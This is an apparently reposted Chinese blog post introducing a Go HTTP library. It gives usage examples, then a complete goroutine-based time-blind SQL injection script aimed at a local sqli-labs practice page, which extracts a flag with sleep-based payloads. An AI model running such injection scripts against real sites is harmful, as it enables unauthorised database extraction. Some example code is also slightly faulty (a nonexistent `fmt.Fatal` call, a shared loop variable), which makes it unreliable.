内容简介:对Golang HTTP标准库进行了封装,提供了更易用优雅的API,类似于Python-requests之于Python-urllib的封装示例代码
对Golang HTTP标准库进行了封装,提供了更易用优雅的API,类似于Python-requests之于Python-urllib的封装
示例代码
import ( "github.com/eddieivan01/nic" ) func main() { url := "http://example.com" resp, err := nic.Post(url, &nic.H{ JSON: nic.KV { "hello": "world", }, Headers: nic.KV{ "X-Forwarded-For": "127.0.0.1", }, }) if err != nil { fmt.Fatal(err.Error()) } fmt.Println(resp.Text) // 修改响应编码 err = resp.SetEncode("gbk") if err != nil { fmt.Fatal(err.Error()) } fmt.Println(resp.Text) }
// session 保持Cookie session := &nic.Session{} session.Post("http://example.com/login", &nic.H{ Data: nic.KV{ "uname": "nic", "passwd": "nic", } }) resp, _ := session.Get("http://example.com/userinfo", nil) fmt.Println(resp.Text)
// 上传文件 resp, err := nic.Post(url, &nic.H{ Files : nic.F{ "file" : nic.KV{ // `filename`为必须参数,本地文件路径 // 将会把`nic.go`作为MIME表单的filename "filename" : `/home/nic/nic.go`, "token" : "0xff", }, }, })
最近就试了试,SQL时间盲注脚本,结合goroutine速度快过SQLmap --threads 8
package main import ( "fmt" "time" "github.com/eddieivan01/nic" ) var flag = [32]byte{} func display() { for { time.Sleep(time.Duration(1) * time.Second) fmt.Println(string(flag[:])) } } func main() { payload := `select flag from flag` var url string for i := 1; i < 30; i++ { go func(i int) { for _, j := range []byte("{}qwertyuioplkjhgfdsazxcvbnm098764321_") { url = fmt.Sprintf("http://127.0.0.1/sqli/Less-1/?id=1' and if(mid((%s),%d,1)='%v',sleep(3),0)-- -", payload, i, string(j)) _, err := nic.Get(url, &nic.H{ Timeout: 3, }) if err != nil { flag[i-1] = byte(j) return } } }(i) } display() }
欢迎大家提出 增加新features/改进现有 的意见
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- 详解nginx的请求限制(连接限制和请求限制)
- angular请求防抖,以及处理第一次请求失效
- RxHttp 一条链发送请求,新一代Http请求神器(一)
- RxHttp 一条链发送请求,新一代Http请求神器(一)
- 利用Jsonp跨域请求数据(原生和Jquery的ajax请求),简单易懂!
- Python网络请求库Requests,妈妈再也不担心我的网络请求了
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
The Art of Computer Programming, Volume 3
Donald E. Knuth / Addison-Wesley Professional / 1998-05-04 / USD 74.99
Finally, after a wait of more than thirty-five years, the first part of Volume 4 is at last ready for publication. Check out the boxed set that brings together Volumes 1 - 4A in one elegant case, and ......一起来看看 《The Art of Computer Programming, Volume 3》 这本书的介绍吧!